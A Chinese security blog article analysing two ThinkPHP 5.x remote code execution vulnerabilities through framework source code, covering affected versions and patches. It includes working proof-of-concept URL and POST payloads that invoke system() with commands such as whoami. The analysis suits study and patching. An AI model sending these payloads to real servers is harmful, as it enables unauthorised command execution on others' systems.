freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ThinkPHP 5.x 的 RCE 漏洞代码分析
2021-09-25 16:04:41

简介

ThinkPHP 5.x 主要分为 5.0.x 和 5.1.x 两个系列,这两个系列略有不同,在复现漏洞时也有一定的区别

在 ThinkPHP 5.x 中造成rce有两种原因:
1.路由对控制器名控制不严谨导致的RCE;
2.Request类对调用方法控制不严加上变量覆盖导致RCE

先记录下这两个的主要POC

  • 控制器名未过滤导致rce

function为反射调用的函数,vars[0]为传入的回调函数,vars[1][]为参数为回调函数的参数

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  • 核心类 Request 远程代码漏洞

filter[]为回调函数,get[]route[]server[REQUEST_METHOD]为回调函数的参数。执行回调函数的函数为call_user_func()

核心版需要开启debug模式

POST /index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
or
_method=__construct&method=get&filter[]=system&get[]=pwd

控制器名未过滤导致RCE

简介

2018年12月9日,ThinkPHP v5系列发布安全更新v5.0.23,修复了一处可导致远程代码执行的严重漏洞。在官方公布了修复记录后,才出现的漏洞利用方式,不过不排除很早之前已经有人使用了0day

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞

最终确定漏洞影响版本为:

  • ThinkPHP 5.0.5-5.0.22

  • ThinkPHP 5.1.0-5.1.30

理解该漏洞的关键在于理解ThinkPHP5的路由处理方式。ThinkPHP5的路由处理方式主要分为有配置路由和未配置路由的情况,在未配置路由的情况,ThinkPHP5将通过以下格式解析URL

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

同时在兼容模式下ThinkPHP还支持以下格式解析URL:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]		(参数以PATH_INFO传入)
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[&参数名=参数值...]	(参数以传统方式传入)
eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8

本次漏洞就产生在未匹配到路由情况下,使用兼容模式解析url时,通过构造特殊URL,调用意外的控制器中敏感函数,从而执行敏感操作

下面通过代码具体分析一下ThinkPHP的路由解析流程

路由处理逻辑详细分析

分析版本:5.0.22

跟踪路由处理的逻辑,来完整看一下该漏洞的整体调用链:

thinkphp/library/think/App.php

116行,通过 routeCheck()方法开始url路由检测

routeCheck()中,首先提取$path信息,这里获取$path的方式分为pathinfo模式和兼容模式,pathinfo模式就是通过$_SERVER['PATH_INFO']获取到主要的path信息,==$_SERVER['PATH_INFO']会自动将URL中的“\”替换为“/”,导致破坏掉命名空间格式==,==兼容模式下 $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];,path的信息会通过get的方式获取,var_pathinfo的值默认为's',从而绕过了反斜杠的替换==,这里也是该漏洞的一个关键利用点

检测逻辑:如果开启了路由检测模式(配置文件中url_route_on为true),则进入路由检测,结果返回给$result,如果路由无效且设置了只允许路由检测模式(配置文件中url_route_must为true),则抛出异常。

在兼容模式下,检测到路由无效后(false === $result),则还会进入 Route::parseUrl()检测路由。我们重点关注这个路由解析方式,因为该方式我们通过URL可控

返回最终的路由检测结果 $result($dispatch),交给 exec()执行

$dispatch = self::routeCheck($request, $config);									//line:116

$data = self::exec($dispatch, $config);														//line:139

public static function routeCheck($request, array $config)				//line:624-658
	{
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            ……
            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }

        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }

        return $result;
    }

thinkphp/library/think/Route.php

跟踪 Route::parseUrl(),在注释中可以看到大概的解析方式

$url主要通过parseUrlPath()解析,跟踪该函数发现程序通过斜杠/来划分模块/控制器/操作,结果为数组形式,然后将它们封装为$route,最终返回['type' => 'module', 'module' => $route]数组,作为App.php中$dispatch的值,并传入exec()函数中

注意的是这里使用 斜杠/来划分各个部分,我们的控制器可以通过命名空间来调用,命名空间使用反斜杠\来划分,正好错过,这也是其中一个能利用的细节

/**
     * 解析模块的URL地址 [模块/控制器/操作?]参数1=值1&参数2=值2...
     * @access public
     * @param string $url        URL地址
     * @param string $depr       URL分隔符
     * @param bool   $autoSearch 是否自动深度搜索控制器
     * @return array
*/
public static function parseUrl($url, $depr = '/', $autoSearch = false)		//line:1217-1276
    {
        $url              = str_replace($depr, '|', $url);
        list($path, $var) = self::parseUrlPath($url);  //解析URL的pathinfo参数和变量
        $route            = [null, null, null];
        if (isset($path)) {
            // 解析模块,依次得到$module, $controller, $action
          	……
          	// 封装路由
            $route = [$module, $controller, $action];
        }
        return ['type' => 'module', 'module' => $route];
    }

thinkphp/library/think/Route.php

private static function parseUrlPath($url)				//line:1284-1302
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

路由解析结果将作为exec()的参数被执行,追踪该函数


thinkphp/library/think/App.php

追踪exec()函数,传入了$dispatch,$config两个参数,其中$dispatch为['type' => 'module', 'module' => $route]

因为 type 为 module,直接进入对应流程,然后执行 module方法,其中传入的参数$dispatch['module']为模块\控制器\操作组成的数组

跟踪module()方法,主要通过 $dispatch['module']获取模块$module, 控制器$controller, 操作$action,可以看到==提取过程中除了做小写转换,没有做其他过滤操作==

$controller将通过 Loader::controller自动加载,这是ThinkPHP的自动加载机制,只用知道此步会加载我们需要的控制器代码,如果控制器不存在会抛出异常,加载成功会返回$instance,这应该就是控制器类的实例化对象,里面保存的有控制器的文件路径,命名空间等信息

通过 is_callable([$instance, $action])方法判断$action是否是$instance中可调用的方法

通过判断后,会记录$instacne,$action到$call中($call = [$instance, $action]),方便后续调用,并更新当前$request对象的action

最后$call将被传入self::invokeMethod($call, $vars)

protected static function exec($dispatch, $config)	//line:445-483
    {
        switch ($dispatch['type']) {
						……
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            ……
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }

        return $data;
    }

public static function module($result, $config, $convert = null)		//line:494-608
    {
        ……

        if ($config['app_multi_module']) {
            // 多模块部署
          	// 获取模块名
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
						……
        }
				……

        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }

        // 设置当前请求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);
      	……
        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }

        // 获取当前操作名
        $action = $actionName . $config['action_suffix'];

        $vars = [];
        if (is_callable([$instance, $action])) {
            // 执行操作方法
            $call = [$instance, $action];
            // 严格获取当前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);

        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }

        Hook::listen('action_begin', $call);

        return self::invokeMethod($call, $vars);
    }

先提前看下5.0.23的修复情况,找到对应的commit,对传入的控制器名做了限制

图片.png


thinkphp/library/think/App.php

跟踪 invokeMethod,其中 $method = $call = [$instance, $action]

通过实例化反射对象控制$instace的$action方法,即控制器类中操作方法

中间还有一个绑定参数的操作

最后利用反射执行对应的操作

public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 静态方法
            $reflect = new \ReflectionMethod($method);
        }

        $args = self::bindParams($reflect, $vars);

        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

以上便是ThinkPHP5.0完整的路由检测,

弱点利用

如上我们知道,url 路由检测过程并没有对输入有过滤,我们也知道通过url构造的模块/控制器/操作主要来调用对应模块->对应的类->对应的方法,而这些参数通过url可控,我们便有可能操控程序中的所有控制器的代码,接下来的任务便是寻找敏感的操作

thinkphp/library/think/App.php

public static function invokeFunction($function, $vars = [])			//line:311-320
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

        return $reflect->invokeArgs($args);
    }

该函数通过 ReflectionFunction()反射调用程序中的函数,这就是一个很好利用的点,我们通过该函数可以调用系统中的各种敏感函数。

找到利用点了,现在就需要来构造poc,首先触发点在 thinkphp/library/think/App.php中的 invokeFunction,我们需要构造url格式为 模块\控制器\操作

模块我们用默认模块index即可,首先大多数网站都有这个模块,而且每个模块都会加载app.php文件,无须担心模块的选择

该文件的命名空间为 think,类名为 app,我们的控制器便可以构造成 \think\app。因为ThinkPHP使用的自动加载机制会识别命名空间,这么构造是没有问题的。

操作直接为invokeFunction,没有疑问

参数方面,我们首先要触发第一个调用函数,简化一下代码再分析一下:

第一行确定 $class 就是我们传入的控制器 \think\app实例化后的对象

第二行绑定我们的方法,也就是invokefunction

第三方就可以调用这个方法了,其中$args是我们的参数,通过url构造,将会传入到invokefunction中

$class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);

然后就进入我们的invokefunctio,该函数需要什么参数,我们就构造什么参数,首先构造一个调用函数function=call_user_func_array

call_user_func_array需要两个参数,第一个参数为函数名,第二个参数为数组,var[0]=system,var[1][0]=id

这里因为两次反射一次回调调用需要好好捋一捋。。。。

核心类 Request 远程代码漏洞

简介

2019年1月11日,官方更新了v5.0.24,这时5.0系列最后一个版本,改进了 Request 类的 method 方法。没看到是哪个团队挖到的该漏洞。

影响版本:

  • ThinkPHP v5.0.x - 5.0.23

核心问题

thinkphp/library/think/Request.php:518

  • method方法中,默认$method=false和config配置文件的伪装变量 'var_method'='_methd'会跳到第二个if代码块

  • $_POST['_method']将被赋值给 this->method,中间并没有做过滤

  • 然后是一个动态调用的结构,$_POST的值直接被传入到动态函数$_this->{$_POST['_method']}()

通过对method()方法的代码分析,我们可以==控制Request类中的方法,传入函数的参数也可控==

现在则需要找到 method()方法的调用链

图片.png

先来看官方的修复,对 $_POST['_method']做了白名单限制,使其只能调用允许的方法

图片.png

光有上面的问题代码还是不够的,在本次漏洞中还有一个关键函数 __construct(),通过 method()方调用 __construct()可以覆盖类中的属性值

__construct() line:135

该函数通过 property_exists()判断传入的参数是否为该类中存在的属性,如果是,则赋值

通过该功能,我们能覆盖程序中本来的值

protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }

        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

于是通过post传参控制 method方法调用__construct()方法可以改变类中属性的值

调用链

filterValue()

既然可以通过 method()方法能调用Request类中任意方法,那我们先找下Request类中存在的敏感函数。便找到一个call_user_func(),在filterValue()方法中:

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            }
          ……

这里主要关注第一个和第三个参数: $value, $fileters

$fileter为一个回调函数时,将通过 call_user_func()调用

在寻找一下 filterValue()的调用情况,在 input()方法中


input() line:994

在满足条件的情况下 input()会调用 filterValue()

我们关注传入input()再传入filterValue()的参数$data, $filter

参数$filter在其中会经过 getFilter()处理

看代码的逻辑处理,无论 $data是否为数组都会调用filterValue()方法

public function input($data = [], $name = '', $default = null, $filter = '')
    {
				……
				// 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }
				……
        return $data;
    }

其中 getFileter()的处理如下

getFilter() line:1053

默认传入的 $filter空'',将会跳到else语句块,==此时 $filter将会为$this->filter,即为类属性的值,我们便可以通过 __construct()来控制$this->filter的值==

protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;
        return $filter;
    }

param() line:634

input()将被 param()调用,后面发现其实是param()中的get()toute()传参调用

  • $mergeParam默认为false,那么 empty($this->mergeParam)将会为true,将会进入第一个 if 代码块

  • 我们关注传入 input()的参数是 $this->param, $filter

  • $filter默认为空'',没有经过特殊处理,$this->param将由以下数据一起合并成数组:

    • 原来的 $this->param

    • $this->get(false)

    • $vars将会为空数组,不考虑

    • this->route(false)

protected $mergeParam = false;		//line:128

public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->mergeParam)) {
            $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
            $this->mergeParam = true;
        }
        ……
        return $this->input($this->param, $name, $default, $filter);
    }

get() line:689

get()将会调用 input()方法

关注传入input()方法的参数$filter$this->get

其中$filter空'',无变化

==$this->get如上提到的,我们也可以通过 __contruct控制==

public function get($name = '', $default = null, $filter = '')
    {
        if (empty($this->get)) {
            $this->get = $_GET;
        }
        if (is_array($name)) {
            $this->param      = [];
            return $this->get = array_merge($this->get, $name);
        }
        return $this->input($this->get, $name, $default, $filter);
    }

route()

==传入input()的值主要由$_this->route决定,我们也可以通过 __contruct控制==

public function route($name = '', $default = null, $filter = '')
    {
        if (is_array($name)) {
            $this->param        = [];
            return $this->route = array_merge($this->route, $name);
        }
        return $this->input($this->route, $name, $default, $filter);
    }

至此,调用链构造完成,这里画图理一下逻辑
图片.png

调用链利用

通过上面的分析,我们知道在 method()通过post可以传入函数名和函数参数,通过如下构造可以控制call_user_func()的关键参数

_method=__construct&filter[]=system&get[]=whoami
_method=__construct&filter[]=system&route[]=whoami

我们现在需要知道 tp 是如何调用 param() 和 method() 是如何被调用的。具体过程见参考了,累了累了。

这里分析一下各版本的区别

在漏洞版本范围内,主要分为完整版和核心版

核心版在debug模式下会调用param() 和 method() ,在非debug模式下无法利用,poc如下:

POST:
_method=__construct&filter[]=system&get[]=whoami
or 
_method=__construct&filter[]=system&route[]=whoami

完整版因为vendor目录下具有Captcha模块,通过自动加载Captcha模块可以直接调用param() 和 method(),所以完整版可以直接利用poc

POST /index.php?s=captcha

_method=__construct&method=get&filter[]=system&get[]=ipconfig

参考:https://0verwatch.top/thinkphp-5-rce.html

seebug质量好文,总结了ThinkPHP全版本高危漏洞:https://paper.seebug.org/1377/

5.0.22分析 https://paper.seebug.org/770/

安全客的入门级讲解:https://www.anquanke.com/post/id/177173

5.0.23:https://www.anquanke.com/post/id/222672

ThinkPHP5 核心类 Request 远程代码漏洞分析:https://paper.seebug.org/787

# web安全 # 代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录